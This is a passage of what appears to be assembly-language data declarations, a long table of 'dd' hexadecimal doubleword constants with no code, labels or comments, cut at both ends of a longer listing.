6100DBD3h, 7B8F6BC0h, 0C3FA5C48h, 0BEF28314h, 0B6884870h dd 8B49245Ch, 0CECC029Bh dd 325750A7h, 3A055569h, 7AD886D0h, 3E9745D1h, 0A06F36ADh dd 0C0F893CDh, 0FF2EB93h, 0DBA7C1A9h, 0D3495BA5h, 0B0F1988h dd 73D5E195h, 132C14ACh, 0D6E7B2EDh, 8CFD6A4h, 200EF03Ah dd 0DB811433h, 6810156h, 37DA6274h, 13C8E5EAh, 1799D4BAh dd 91390664h, 0E9F9E508h, 87BF03BDh, 964709CCh, 0DA8AEB64h dd 0D159A5ECh, 332A8449h, 30794BFAh, 800FB645h, 1F4DE265h dd 8506C2D0h, 0B560DD2Ah, 0F290D90Ch, 0D48C72AAh, 11ED15BCh dd 0E2B3763h, 0B38A9DB4h, 2B081842h, 69156444h, 0BE00F9EDh dd 0AA1AFBE6h, 7EDB8445h, 0D4FA71F2h, 0D32FB441h, 0E39E6DF2h dd 9AE814FDh, 8B3894E5h, 0A16836B9h, 0B1C5A673h, 2817B953h dd 73702DBDh, 401247F4h, 75370BE9h, 19DB7A13h, 0A69755E0h dd 0B9C1FF0Ah, 5631F081h, 211D4806h, 0AE56F0EBh, 0F69D19CCh dd 786ABF62h, 94E943F7h, 0D5F2617Ah, 2B9F92AAh, 53365605h dd 549CF071h, 0F15BADFh, 0A62B47CEh, 19B710D1h, 0F58AA677h dd 2F8EDB56h, 0A2A046D4h, 3F27CF83h, 8CD05407h, 0B3F3AA0Ah dd 0E0383BCDh, 706C6CBDh, 88E1AC89h, 0C26F36AFh, 96C96EEEh dd 1FA9C33Ah, 0D5E30F28h, 9D960CF9h, 79801739h, 0AB57444Bh dd 7FB437B2h, 0D5B00572h, 0AAEF2FAFh, 58B43BA2h, 0BFE2E969h dd 16E7C0D6h, 271F8648h, 804386A9h, 5A22B283h, 6AB52E90h dd 0AA539137h, 9C7B9D12h, 0DEF85766h, 6E05F944h, 7193A6EAh dd 0CA0E3C60h, 48394F12h, 0EFE77C5Dh, 3BFAFCB8h, 0F99A2AC7h dd 8C72D0A2h, 0DD19BA14h, 3A542621h, 7CDDCC84h, 0F5F9C210h dd 0BEA86B5Dh, 525B67FDh, 0D14AA56Dh, 0A31BD97Ch, 3043B0A0h dd 4775AFCFh, 333B44C0h, 82263A90h, 61F1F575h, 0F613BA62h dd 5F25B3ADh, 71A17615h, 9FD39810h, 0C3EE656Fh, 6085D9h dd 4016A91Fh, 0D24659F9h, 70053141h, 0F973AF1h, 0F155AC52h dd 0DF25CDF1h, 6CECAACAh, 0B90C0768h, 59BE7831h, 148FF32Ah dd 0FCE39DECh, 9EA9265Ch, 5694B659h, 1F24BD37h, 2981083Ah dd 182028ACh, 4F496A01h, 38D1CA68h, 9E40CA81h, 0D7A606B1h dd 0B174D25Ah, 5F9DD1B6h, 95B29F0Eh, 27D0382Dh, 0D55F4B1Ah dd 9234DC56h, 0E68C9668h, 1673B2DBh, 2F1F3A35h, 4EBB07B7h dd 18D28CDAh, 1F462258h, 0C1C7FF0Ch, 0B9233A89h, 77E5AB71h dd 0CA0420B6h, 0A2663649h, 0E98A2456h, 9AD490ABh, 0E9CE8FFBh dd 89E7F2F6h, 0FC0027CDh, 6E5CD3ADh, 0E37A4862h, 0A9EFC722h dd 0AB0E00B6h, 42B40376h, 2FD46E8Eh, 6373E432h, 6B51693Bh dd 0A883966Ch, 16455CA4h, 9CEE5821h, 3F529D1Eh, 60E892BAh dd 771F2E26h, 767ACD2h, 5B4B09E2h, 86BA9500h, 147C3A17h dd 682FA363h, 7C2B719Ah, 43580C5h, 1E9C7513h, 0D970A28Dh dd 0F18357FAh, 8D193197h, 0EEFC7868h, 7976B0DBh, 1B41AF06h dd 745B327Fh, 0B446BFBBh, 1BDE848h, 7712A41Ah, 708D6D8Bh dd 7CE8CDAAh, 71B7ACD9h, 8754C6FBh, 8839E8C4h, 0D2A711B3h dd 2E82CEB6h, 6DC03A2Ah, 6A88DB85h, 51A2F019h, 32FB90AFh dd 1B50C78Ah, 0A10143D8h, 82BFA448h, 3D9EE0ABh, 0AEA6D68Dh dd 0B32D7E72h, 78A18ABh, 8ED18E4Bh, 0E8C1A289h, 0D16682FBh dd 72BA584Eh, 9C31A719h, 14D93244h, 0D756DB98h, 0D271620Bh dd 83BEF327h, 0E3A896EDh, 1D45BB89h, 0C89EBCC1h, 0ECC0817Ch dd 4FFFBA9Bh, 0AE263EB4h, 0A54701EFh, 0D5CB8A63h, 6F49A585h dd 8E99ECEAh, 44534ED5h, 0BBAFC5A9h, 2430F17Eh, 4A45CE0Bh dd 6715949Fh, 7A7BE080h, 7EE6EAEAh, 0F4DF7AE5h, 680597D0h dd 8AC4CFAEh, 0B81320Ah, 384EC7BBh, 7232A60Ah, 36A5BC5h dd 937882A4h, 0B535CCB0h, 786EEDA7h, 0C1C4729Ch, 0F250BE2Ah dd 695B1724h, 0B5299E73h, 0CAF0972h, 0B41B3C8Ah, 717747C0h dd 0DEFF5EF9h, 4C81DEC6h, 31451F0h, 0B466A7E7h, 6622F150h dd 46F77CC4h, 4B2F3EC2h, 5D0439CEh, 7731054Ch, 1965EB7h dd 0AA7BD3B6h, 0E59C9480h, 8C91C8ECh, 38B1341Eh, 31461D4Eh dd 4EC73CCDh, 6509B232h, 0A9D9A10Ah, 0D18CF7ADh, 5E2F8A68h dd 0F2651CE3h, 1D90E3EBh, 8B78369Eh, 0ACDDACEFh, 0C2454439h dd 9878813Fh, 9B12EA7h, 0F3EFC6Fh, 175A2408h, 0A8FED179h dd 0D8367F61h, 89E24484h, 9BC16EFAh, 5CE47F22h, 170A42Ch dd 0BDE78DCDh, 7E3A60F8h, 0CB830BF2h, 255D69F9h, 3CD73662h dd 13FDA2C1h, 4FE36349h, 0AA82C0E8h, 4A823ED0h, 0BCD5C882h dd 53EA8A11h, 7486DB10h, 87DD4ABCh, 51CB5F55h, 0D364182Eh dd 0C4258C0Ch, 4C30A636h, 0AF8FC31Dh, 8777BE5Bh, 1128CE1h dd 31A9FC0Ch, 59DC36C6h, 3B798C01h, 79533F6Bh, 0F55ADAB9h dd 533B681Ah, 3160AB9Ch, 0A96D4A38h, 9321A53Dh, 0B5723542h dd 8F837F51h, 0BB1E6D1Bh, 0D6D90916h, 9D970DBAh, 27CADDA9h dd 1027556Ch, 9E7FAC14h, 0AF89BFFh, 8ABF11C3h, 0DA345D8Dh dd 9E450D74h, 0CABE6820h, 0B965D534h, 0E2AD1414h, 0D3E19A75h dd 425A0C80h, 2150B5A9h, 21661D0Eh, 95F49B2Fh, 54252581h dd 42DABAA1h, 8E8D2BABh, 1D02E6CBh, 0D019A096h, 0D7FDED02h dd 43904493h, 0D9A0C8EBh, 0B99E6115h, 0DC7BD2FEh, 0FC6F5747h dd 0B0BB95F4h, 0C496F6CEh, 12B09A47h, 0B43DA3B2h, 0F5E8DB2Ah dd 0A8044F20h, 7C78E35h, 8B8A8796h, 0C1AEA02h, 5E1FE2F2h dd 43DAC3DCh, 0A722814Eh, 0FB99D38Ah, 8155199Fh, 119BD6DFh dd 3327EE13h, 0BC861339h, 4805257Dh, 3742F7DEh, 7E00BAA5h dd 1BA08A71h, 61C5788Eh, 9DB488F5h, 0BD2FF212h, 0D7C0503Fh dd 9E523755h, 4E29CCABh, 0ACB7B750h, 22AE185Ch, 0B68E5D02h dd 0E42C10h, 2954C36Ah, 4DCB4B21h, 9CCFFF8Dh, 5FF8E1D9h dd 36C0403h, 0BC0F8669h, 0D38F513Eh, 0CF482099h, 6AA5A83Ch dd 0EF76AF0Ah, 9EE85428h, 0ECB6CB01h, 70FBC9A6h, 0A8A7788Ah dd 3EEA7F00h, 5EC7CA47h, 78E8BBE2h, 0ADC5A52Ah, 8FCCB72Bh dd 0E3CF0F09h, 71A43378h, 0A85D19F3h, 7DB20D69h, 0E036D81Bh dd 0BB4C662Bh, 8A40022Eh, 0BF0A10E7h, 1A89979Eh, 4BB3DDCBh dd 0F18A304h, 6A311589h, 0DEDF1374h, 0F2A0D5A0h, 0A1FD1513h dd 0C832E7FFh, 0E3116DE3h, 53C51E7Fh, 99B8CAB3h, 48F9EBD0h dd 70D42403h, 30D33895h, 439483F4h, 0E257D10h, 0B4990D09h dd 0FFA0D0CEh, 0F4E5D1A0h, 82797EA5h, 1D900867h, 441C2F0Bh dd 6E5E6225h, 3B31306h, 0C14CFE62h, 153CEC42h, 5F3E34FCh dd 5C43A5FFh, 0AAE35A3Dh, 28CA3149h, 0C8E0A75h, 64BF3E5Ah dd 0EB8D76EAh, 0D83B30C9h, 9A683AFDh, 557943D1h, 0AFF896CCh dd 4823D586h, 0BCBD8948h, 68193A07h, 0A2C633FDh, 5A8E438Ah dd 7A7B0CF6h, 31920AF9h, 2CD0011Ah, 6016BAB8h, 9A0B4690h dd 0B1291AE6h, 0BA30A3A7h, 5BA5F505h, 0B9C7F42h, 1C102AE7h dd 0FF6899D0h, 0C9FF0BBh, 70D87A80h, 0F132C0D0h, 2B475C12h dd 91EE55EAh, 0F71E854h, 0E37CB277h, 5B8B4D3Ch, 52A376AFh dd 1F83F6B9h, 73118CBFh, 54DF9C7Ch, 1C0589Eh, 0ECAA1BEFh dd 0AD19DE83h, 64C9670h, 67AE92C8h, 99D5AA68h, 0D20369EAh dd 128B36B9h, 19A0454Bh, 422F3855h, 0A84C7697h, 0E79DF2CFh dd 5870AD21h, 0E2A0F2Dh, 639B5C1Dh, 0C822A1A3h, 8FE0E257h dd 0C22020B9h, 59A9346Eh, 1F573D43h, 28EA0983h, 0D300372Bh dd 0D841EAD9h, 1C811340h, 0FF3DA601h, 0C67F1D6Dh, 22F19D7Ch dd 0D0DD1FDAh, 4351CDF4h, 3ED9694h, 0F979D5DDh, 0A9EB45B2h dd 449A7A5Fh, 7B9281BCh dd 48403FA7h, 0F3BF2891h, 8D5B56DBh, 0C79FF728h, 34D7E6DCh dd 0E39669E8h, 1733A01Ah, 0DEED7E32h, 7194B45h, 65F3D270h dd 67E133E8h, 0BD8BAB27h, 0DF406F10h, 51E15CF5h, 9AF20CCBh dd 4684FF50h, 838DC7EBh, 30A58D3Dh, 0E8FF0BF2h, 340841DEh dd 0BF2F86Ch, 0FBF518E6h, 6DFC161h, 0DD49770Fh, 3EE05F3Dh dd 442E0206h, 71564CF0h, 489745CFh, 3269FB46h, 0B9D3E7CBh dd 98C06869h, 688CAFA7h, 0E4A92A0Eh, 558EF2F3h, 69E4BE6Ah dd 17C64050h, 9C67D1B6h, 2FC14890h, 3C55C7FBh, 0D2C90F73h dd 0EA4C4F2Ah, 0ED5F5F7h, 662C44BCh, 192259E2h, 43515431h dd 0BC0E913Bh, 93772E18h, 0D8742151h, 0F44E826Eh, 0C09AA359h dd 609D36A0h, 0C3A6DA8h, 6A658314h, 0C5B42269h, 7E88D8D9h dd 0F845116Ch, 0C9F1C817h, 693F9104h, 0D2997683h, 0C5A164EFh dd 66FC2390h, 565C5791h, 0D1B2FDD1h, 3D9CA41Eh, 0AD96AD33h dd 698BDA01h, 5BDD1931h, 0B3F2FAFDh, 1A47981Dh, 0B250EF2Bh dd 0FCD34E56h, 3059D7F1h, 772A2644h, 122D28F0h, 1A3CDBBCh dd 558A4762h, 7A7BC151h, 0D4D8F74Bh, 527718CFh, 98905E30h dd 9AAB173Ch, 0D5F7AE08h, 7597CDA3h, 5B5E275Ch, 0F05FA2C2h dd 911A3CDBh, 0DD3A8D2Ah, 5F3AF753h, 41C15825h, 0DFEC5371h dd 50E38E83h, 0D96EFDDBh, 9A476FCBh, 0EAD32B96h, 0EB8D8F99h dd 6600B8FFh, 0F59508Eh, 0B4F3BF91h, 79F54DFFh, 6D36B121h dd 15EE14D1h, 0B0AAB18h, 0B1E6C5C9h, 39B936CFh, 7DA73DE8h dd 16797B2Ah, 0A71EA3E5h, 0C522057Ch, 0EABC0949h, 9697A25Fh dd 73A2952Ch, 0A3BC5247h, 0A12812Fh, 0A6F22C9Fh, 0BFC942C4h dd 16C27F8Bh, 2400FBCEh, 42900F6Ch, 0A38C1EB3h, 16FBFE18h dd 48544565h, 3F11CEB9h, 0CDC8F754h, 0ECD01B7Eh, 0F30F9BE3h dd 73F7638Bh, 0FE43D360h, 6215BC2h, 0D9A7F5B9h, 5CC91930h dd 0DE44D7E2h, 92EBFFC0h, 4C1B7444h, 94DC4FB1h, 0A5EE441Fh dd 3319D436h, 0E3754298h, 0B0939C2Ah, 268FF094h, 2CF5CEE7h dd 0F77E47DDh, 0E5FF565Fh, 3D08237Ch, 76D9CC66h, 909B9F51h dd 2F07A6C5h, 0FAE7A476h, 1FF9A72h, 0A52DB1C7h, 0C3BDFA00h dd 0B679C30Dh, 12DA3872h, 0A27BD6A3h, 567978E7h, 0BE340445h dd 81300348h, 693C5C41h, 5769DD8h, 59AFBDA0h, 626C302Bh dd 4655D0B5h, 43E9FF13h, 1C410AECh, 586A7B62h, 7A9F389Eh dd 17975740h, 0EEA5DB93h, 0DF5FDD98h, 0CB70B77h, 64F3C3C2h dd 0B598DE02h, 694DD924h, 0CA9E6485h, 29FF53EAh, 8B27177h dd 0CD049876h, 5DA562BCh, 0F3A59700h, 3B473FECh, 5DC8A733h dd 6FF799E0h, 2AB4DC6Ah, 27CBBF47h, 0AE1F6B4Dh, 0AEEF05A3h dd 6393D230h, 19467F12h, 13439570h, 0CF5D117Dh, 1491B95Ch dd 44CD4DECh, 8AE786CDh, 0DED6EF0Fh, 744968h, 0CCF09CDAh dd 32F97FEh, 2B1E3D05h, 0E850205Fh, 5D2F6A16h, 50FA844Dh dd 4E350AC6h, 7DE12F8Bh, 8CAF9817h, 410307F0h, 2B22988h dd 0FDCEE8C6h, 9682ADAAh, 0E96DDCF6h, 0D93362D4h, 9567028Ah dd 61068AE5h, 0FD80B5FFh, 375FE84Bh, 5985B9F5h, 0D920D7D5h dd 0CE918A98h, 23FBCAD3h, 0D605657Ah, 2D5FD655h, 3B416080h dd 7C85A9D2h, 0F9C4E730h, 36D386E8h, 8CB4A04Ch, 7B62D340h dd 832B26CEh, 0CCB9C989h, 0CF12239Dh, 0D16988DEh, 6EFAEE70h dd 4686B2F9h, 8182196Ah, 0A7270327h, 0C2C86C77h, 0DBA02E53h dd 0A7411BD5h, 616CF028h, 3F4FDE36h, 97D63E1Fh, 12D8E49Dh dd 6E137336h, 8838BB34h, 466C2DA7h, 0CD4CE10h, 0D75B64E1h dd 9ACEEAAh, 0D6B78754h, 223542EDh, 73F2F358h, 5D39F053h dd 0ABCC2FC2h, 0E0AE9A7Ch, 5295A480h, 73479034h, 0FF7A0EB1h dd 33DEA2E6h, 882E2B43h, 42F489B6h, 0BBA0E643h, 0D03EFBEh dd 0C49D957Bh, 31A1270Ch, 594B373Fh, 0A2E0896Fh, 0D7F156Ah dd 7870537Dh, 2ED16AD6h, 0A2499EDAh, 88402F52h, 5C949280h dd 9DE4574Fh, 70ADECCCh, 3D34AE2Eh, 9A9AF468h, 583E16E2h dd 7D515F74h, 0BF326DD6h, 0C61B05C8h, 0EEB78ACBh, 0A539C776h dd 0EFE3C348h, 0B731D789h, 22C10F96h, 883F8420h, 1E8D8A6Bh dd 8B806B4h, 70B0B633h, 5E66EB6Ah, 0D1D17DAFh, 6CCE65AAh dd 4B7F7690h, 26167184h, 5AC99CC7h, 38746D15h, 0D0FB9E45h dd 99702CAFh, 80F2C488h, 47566BAAh, 8877A927h, 0EC76BF7Bh dd 9CFB5283h, 99701CC7h, 17AEE1F5h, 14F2B0E0h, 3762E513h dd 864F4BB4h, 0A9090412h, 0DA5FB143h, 7FF601BAh, 7914BD57h dd 2FA938A8h, 8014EA2Ch, 3950A0FAh, 0D367D39Ch, 0DE154D5Ah dd 0BAD3A475h, 0E3612567h, 0FA17D97h, 0A1FB21Ch, 0C33463AFh dd 264F565Bh, 0DC243991h, 8240F56Dh, 8B814C72h, 0C543099h dd 0A39DC890h, 589E6261h, 775F5175h, 0A3742DA5h, 4F7E487Ah dd 52BD5B9Ah, 5AAFE8F2h, 80374D14h, 0D9FF3160h, 1C8CA6EFh dd 9741D5A9h, 8A1E34ECh, 47DC07E8h, 0C35714AFh, 45D47D96h dd 4B902464h, 18463EF5h, 0E58629D1h, 27CA6A03h, 0C261BA3Eh dd 12419675h, 0F0A58D1Fh, 0F91C8B9Eh, 8CEACCD9h, 0B6374878h dd 3A0E5B9Fh, 69959ECFh, 0E5C32F9Fh, 0C947B250h, 5843DC76h dd 0E9065C18h, 69E9B9BEh, 0D0A6FF1Ch, 621836h, 0EDD301B6h dd 0BA604233h, 9643CDD2h, 0B5619420h, 69D5328h, 7482B889h dd 5499BAAFh, 0F91281DEh, 2CC191D5h, 8BD8DE65h, 0AF4B3C72h dd 127B3DE6h, 0DBF366Eh, 85236FC2h, 50B13D59h, 0E78FC09Ah dd 8A8203C1h, 0DF855979h, 797A3417h, 7F78F05Ch, 46093BD5h dd 4E19A51Fh, 0AD461BFBh, 0DCF3222h, 81BF8906h, 403E32CBh dd 1FDA4C33h, 833B8A57h, 0C2A6C731h, 68E33B2Bh, 0C0BBE8C9h dd 2F2D81CBh, 0CD79B900h, 94F00C19h, 0FCA88DC1h, 0C6D19415h dd 4CDE49ECh, 511887AAh, 71C720E3h, 0B1196330h, 23898CDDh dd 0DF3F7E0Ch, 49AD7B1Fh, 0E1CBC6CCh, 5D6EDB40h, 7664EF06h dd 1A7071B3h, 0FC4BC41Dh, 61340CF0h, 34590711h, 577B8CD2h dd 0BDC431EFh, 4DA85CDDh, 12015A61h, 0E3452CD6h, 1FD2D813h dd 0EEC96FDEh, 8A0763B1h, 39FF198h, 2E9034ECh, 7DC39870h dd 0C099D86Bh, 487BDBC9h, 20A321A1h, 9067AC40h, 0CF5221DDh dd 0BA2AC156h, 6BCDC453h, 0EA92331Eh, 914746F6h, 4ADA202Eh dd 0CE8D33ABh, 49FB3188h, 0BBF94B70h, 5E28AECAh, 139B5A0Bh dd 13AF322Eh, 0D2518F7Bh, 18BA7C76h, 21A9A1DDh, 2BE7441Fh dd 1B9AAF47h, 91EB3506h, 0BADF0D2Ch, 642FF767h, 0F963FCD9h dd 7D7ED1F9h, 239A9D78h, 0D55F3BCDh, 35E99CDDh, 6E11626Fh dd 33B2BE0Fh, 0C1D577B0h, 1CEBFE47h, 0DAD844F0h, 3FDAB11Eh dd 3098E7B4h, 6C228008h, 4CCB673Bh, 6C25087Dh, 8E3A227h dd 79480058h, 0F8F531F2h, 5DD00E23h, 0EEDEA65h, 53749EB6h dd 0BBF2C04Dh, 93C59CABh, 5DA4422Ch, 883D221Ch, 0DEB75A68h dd 82E0A5C9h, 0B3ABEBA8h, 1FA00EEFh, 103FBE10h, 0C6AFC911h dd 922FFE32h, 0CCB2676Fh, 8F1BF112h, 41797ADBh, 3E73EC30h dd 4D043B83h, 3A53CF4h, 0FA7C4F52h, 0F0F81BCDh, 3BEA634h dd 0F43DDD58h, 0B784816Ch, 0F981ED1Bh, 5C07B568h, 0DB15D639h dd 1CD4760Eh, 0AD91AEB4h, 0F20A95BBh, 0B071575Fh, 5EA5CFD5h dd 0EEA12647h, 0BA62E0Dh, 74E7A40Ah, 0B28644F2h, 0AC3BAEC9h dd 0AB40A5EBh, 0BA337C45h, 7BA5C535h, 0A5C61AB7h, 7D4FC83Ah dd 80C1C9DCh, 1CF7571Ah, 0E0BDAF0Eh, 9B144D02h, 93B4F855h dd 0EA02842Dh, 55C41777h dd 0F58BFDF1h, 0EFBB0700h, 0B9DBD768h, 0D8D83FD0h, 0CDC1E72Ch dd 10C78C50h, 0F06249B4h, 0D4E60D76h, 8FE009DEh, 0D424090Dh dd 856FD265h, 5E3DCC81h, 0B3019183h, 0C77B1641h, 0B41E9F04h dd 0B251967Dh, 1E33A6FBh, 0C5B74EC3h, 3E589E41h, 68A07C8Ch dd 0C5D1F926h, 0DEEF45E6h, 0F05E1E07h, 54FB9C8h, 83E992F1h dd 56909C4h, 9A58DEA4h, 4AFE39Eh, 25A7FB10h, 990BE93Eh dd 105CB872h, 2929FC2Ch, 0A6E51EF3h, 76450610h, 0E567AC4Bh dd 3FD56B09h, 766948E7h, 51A760DBh, 560CA7C0h, 2F6569E3h dd 0B7DE4802h, 62D2ECFFh, 0CE2C83A2h, 929657B8h, 0C6FA9FA4h dd 2BBC09ADh, 0F055C145h, 99AD103Fh, 29C81BB7h, 0DC6CA6A6h dd 36D09963h, 7080B0C5h, 57DD8D69h, 0DEF5ED9Bh, 44003641h dd 0D08793A8h, 9CEA3F21h, 0ACE19ACDh, 0E7EF917Dh, 7DD68094h dd 6A34A72h, 30EBEE57h, 51970388h, 0E9E5D7E0h, 0FC52FF4Ah dd 2F75221Ch, 8F99F494h, 1FC32F66h, 0AC7862Ah, 0A26BD0B9h dd 85A799Eh, 1A5465Ch, 5BE5F652h, 59099388h, 4BE728A6h dd 81E43A49h, 881FFBECh, 5DF23A39h, 8B43D1FFh, 78A1E83Eh dd 0FFE7E8CEh, 0CD839DAAh, 0F62CB8B7h, 57C8FA7Dh, 24348052h dd 84CAF01Eh, 2DFC3Dh, 1AC12959h, 16FE6F9Ch, 8CC4B50h dd 8DBA03B0h, 34EE3515h, 0E139D539h, 0AC955914h, 7E2A6216h dd 0FD213AC5h, 9C3D83DDh, 0B6E46584h, 3766DFCCh, 6C946032h dd 0B9D15089h, 3354B089h, 873F912Ch, 5B3D5618h, 77C979BFh dd 6AB26664h, 6E3A55D9h, 81B997B7h, 603A16C1h, 397F9870h dd 63454D1Fh, 0AE12DD76h, 0C5EF85F2h, 0F75436EAh, 68DD7B6Eh dd 0CD487DBh, 84A61CE9h, 53BE2E05h, 0FD97809Ch, 95E9EAFEh dd 0C59302DBh, 0FAEA3FA9h, 6DFE852h, 21778809h, 824F5BCBh dd 64123509h, 0E5C7CA8Bh, 0B226FE65h, 0CE6375F6h, 2F4F1CB6h dd 333C2B62h, 778C050h, 341664C9h, 0CB9B932Eh, 0EE95B65Ah dd 2122203Ch, 0D392D0Ah, 12BE65h, 0F2B1A271h, 18202C29h dd 0E2354ABFh, 0FCDF6A6Eh, 0F9D85F97h, 0E982BD0Bh, 9E7325E3h dd 9940CF6Fh, 80C90764h, 31906E15h, 0A6AFE37Eh, 11DBA235h dd 0F9210589h, 0E006A4CCh, 0B9A0D569h, 0AB6C67Eh, 6A770A72h dd 0A3694A01h, 21C1DAA8h, 456DADEAh, 9CE7D962h, 134A9B16h dd 78AFD645h, 2657E247h, 941DC9A6h, 0E46E194Ch, 3230B8B3h dd 74114663h, 0EF70D508h, 3F2EFD9Ch, 3F843501h, 0EF3864D8h dd 2B4E733h, 0FF595A9Ch, 1AEBB28Fh, 785F6968h, 7F425866h dd 45E2FABEh, 67330186h, 94312ED0h, 32EDFECh, 0C1FF2D06h dd 7199B3D2h, 0F59B04D4h, 9FDE9CC0h, 0AD07180Fh, 97A3FCEFh dd 8613E868h, 84B7915h, 4AEDC0F1h, 0ACB753B0h, 0ED04644Ch dd 31338712h, 772DC2F6h, 0A71EBB5Bh, 826567B4h, 662CEC49h dd 90CD06A9h, 8DEB6E51h, 2285B2D9h, 61C42F06h, 345D64E4h dd 97BF387h, 507DDD11h, 69E06DB2h, 5C47B9BFh, 7062A164h dd 9DF416E0h, 0C175F80Ah, 9103728Dh, 7467D823h, 0DC0502E1h dd 3791FE9Bh, 0EA2F2C63h, 82C8492Bh, 0BDBF86B0h, 0C04DFC8Fh dd 4156CE77h, 0D0AFF26Fh, 7D686BD3h, 0CF504991h, 66E77FB7h dd 92458A76h, 0D73EBE4Ah, 4AB58C46h, 420F66h, 789C46DDh dd 0B7505158h, 0C835E6B6h, 8D1F8ADEh, 0EB4C8B3Ah, 0F0631C8Fh dd 67F529B9h, 66564F64h, 0BF4827EEh, 741D96Ah, 2C4629CAh dd 0FE7970CAh, 25F1ED4h, 2C333C62h, 0F9C52B9Dh, 38391060h dd 0AD32C050h, 1E7BCC7Dh, 6EBCFC58h, 0FA3F9831h, 387D5FEAh dd 57BEADE3h, 0C8247BAh, 0DA0F6686h, 7DFFFC2Eh, 208BE445h dd 0CC883D16h, 62757BF5h, 6CE3B575h, 26EE4371h, 4098F3E3h dd 81160501h, 40F3CB7Dh, 959AEFD9h, 15D3C86Fh, 0BA9357B9h dd 0F817F4h, 0AB459471h, 1733CF73h, 4E00C2A8h, 96C0B67Eh dd 96039319h, 0DBCB6CF9h, 0A1675280h, 0FA008AA0h, 97704E89h dd 4A6E2854h, 19307141h, 83E190B8h, 6472ED87h, 171F2DBh dd 61256F2Fh, 0F852F9CCh, 8DD325DBh, 0D2C158F8h, 0D32A2C92h dd 0F06608Ch, 928AB738h, 0B0417C73h, 6C9CB829h, 0AB54E49Fh dd 50DEA0D1h, 3658A3BDh, 0FEC24C74h, 0C84BE478h, 373F1BBDh dd 3398F8A2h, 9DCD1B6Ch, 0E9F6A84Fh, 0C8AF7BCAh, 0F0D75802h dd 0A2E7BB0Eh, 0B720CADCh, 0A147B729h, 0C4A6FE18h, 0DAC02B38h dd 0EF67CB5h, 20FB1285h, 22C2973Eh, 52205D9h, 734C474h dd 27065EBBh, 1473095Bh, 79FE8D61h, 1DBDCA7Fh, 0F863C2B2h dd 9F4AE450h, 708D8EC3h, 0B90766E8h, 0DBADCC86h, 3659CF38h dd 0D9ECBBCh, 408568B5h, 2C4452B0h, 0FF9BDA4Bh, 6BD241D0h dd 902EE0B3h, 6490DA74h, 22F41FE9h, 6BFC091Fh, 0FE6DB337h dd 0E12E4DDFh, 2A6A2673h, 1032D7ECh, 88098741h, 0DA544750h dd 0F463152Fh, 978167E2h, 0F5860AC5h, 2C0F09FDh, 656A1C66h dd 0A71BC9F1h, 2D77E22Ah, 9199AAE5h, 5EEC3659h, 4F3F8FEFh dd 18C125BBh, 69E17DA6h, 0C704AABFh, 0AE2B8A1Bh, 0A725F221h dd 0B65B8C85h, 62118B45h, 9394826Bh, 71C6D3BFh, 50347A92h dd 1063FAB9h, 0EDB4AAD8h, 6AB723B2h, 35CD1419h, 7D91E3Ah dd 57D39E4h, 368303E6h, 0EF0FFBE6h, 9FD4149Dh, 8ED0C704h dd 92A97C28h, 0C7F07780h, 17C73A8Eh, 9919AA28h, 20337986h dd 0AA94BCEFh, 0C0CC6E8Dh, 0DE3BC181h, 5BB42463h, 0EBBA6617h dd 0E6641E05h, 0CE8A256h, 14F96DDDh, 0E2F262ABh, 0E34454D9h dd 0F675333Ah, 2E39595Dh, 94C04E81h, 31A3670h, 6E54F2CEh dd 6D16C7B8h, 2506A6A0h, 0C3737149h, 0E7FF945Ah, 9DB0CD3Eh dd 1544683Ch, 0E234A278h, 80FE812Eh, 1FB74049h, 73511F27h dd 0D8AD4A62h, 59129A3Dh, 0FF97C7FAh, 0A8D09530h, 41043C25h dd 0EE481DDEh, 3CBC9DCFh, 8811987Ch, 96731DC2h, 0D9A43941h dd 0A74BFD74h, 0A08B778Bh, 0B9918D2Eh, 0B30BB83h, 184FC6A3h dd 0C699DD0Ah, 90BD3C53h, 0FDAD0C0Ch, 2670EB62h, 0A44C5840h dd 8C54C2FCh, 0C19F761Eh, 63BDED47h, 40D6EFC6h, 918C45C1h dd 0E63B96E5h, 1D316387h, 2530F9B2h, 0ACCA4F0Ah, 8D6EACB8h dd 3DCE5F8Eh, 0E55B7D68h, 99338333h, 0B8858EB8h, 0DD4B1CFDh dd 0CD784F7Eh, 49CE7AA2h, 0A187D209h, 5D7B5077h, 0D358FBF7h dd 0F0ABC56Dh, 0FC74B034h, 321D96FEh, 2F6A42ACh, 22E7A892h dd 45B59104h, 99FF9FC0h, 0DE67CF40h, 0DBD63805h, 0CE3D9A8Eh dd 539DE0FDh, 5B33053Fh, 0B2B7B74Dh, 0D4DB7D17h, 0F5BB6EE2h dd 3058C7B4h, 4ACE8019h, 2A7E8890h, 0A6A284D5h, 0F492429Dh dd 581FD517h, 56692137h, 9C2B907Dh, 0A5E2A8EBh, 32342451h dd 0A33C92F8h, 0C9662765h, 0DFD40725h, 0EB9EDFABh, 0D8855ED1h dd 14896E9Eh, 4BB1D291h, 0F9C01E82h, 3DF0B26Dh, 451B5CEDh dd 0D172989Fh, 227BA2D8h, 406D75C5h, 20639357h, 9ACAEECh dd 0B1025DEAh, 0F9CC9CB3h, 85EC258Ch, 0D9602875h, 8D5FFD9h dd 10E6A05Eh, 0BDFE6EFDh, 0BACDDF87h, 80418B0Bh, 0ABC07FEFh dd 6F4C6A8h, 0C9FDC80h, 0FE6F09B3h, 38119972h, 4ACE0609h dd 886FFC53h, 639E334h, 9AF95545h, 669C493h, 0B01C61A7h dd 4C4540Bh, 0D8E4342Eh, 0F45E2301h, 468508DBh, 2A9C59Fh dd 0C9BE0F89h, 69C4530Fh, 97C04D79h, 9B0E14F2h, 331D340Ch dd 7790AC3Fh, 593A0BABh, 0D42022D0h, 979483FEh, 0D4A6F6DCh dd 0EB6379CCh, 1CFCFC2Eh, 0CFBB68F0h, 0EC090F91h, 536852A5h dd 0CC00FF63h, 76AF337Eh dd 8F9BCBDCh, 0A03F86F4h, 53731F83h, 6EBDBF58h, 192C6517h dd 8CC82395h, 7AE5A6FFh, 441FBA74h, 39BCB760h, 0F64D6EE2h dd 935559DEh, 916F2361h, 51D20A4Bh, 97588B2Bh, 0F88E605Dh dd 9A369CF2h, 0E2B0D9CEh, 4A147CDDh, 2DC32DF2h, 1400C0F7h dd 0AF568537h, 0C51B13C0h, 0A3E242E5h, 97392EB1h, 5377688h dd 7B907E09h, 7C95622Eh, 0EA4E217Ch, 0FE2AA64Fh, 812BA04Fh dd 65B8A73h, 0BEECE381h, 7FFF70C0h, 2D18F257h, 0C6B82315h dd 79A6E667h, 0BEAB633Ch, 0D91F82A2h, 0B523B202h, 0AF87453Ah dd 0AFE82ECCh, 0A5BAB0AEh, 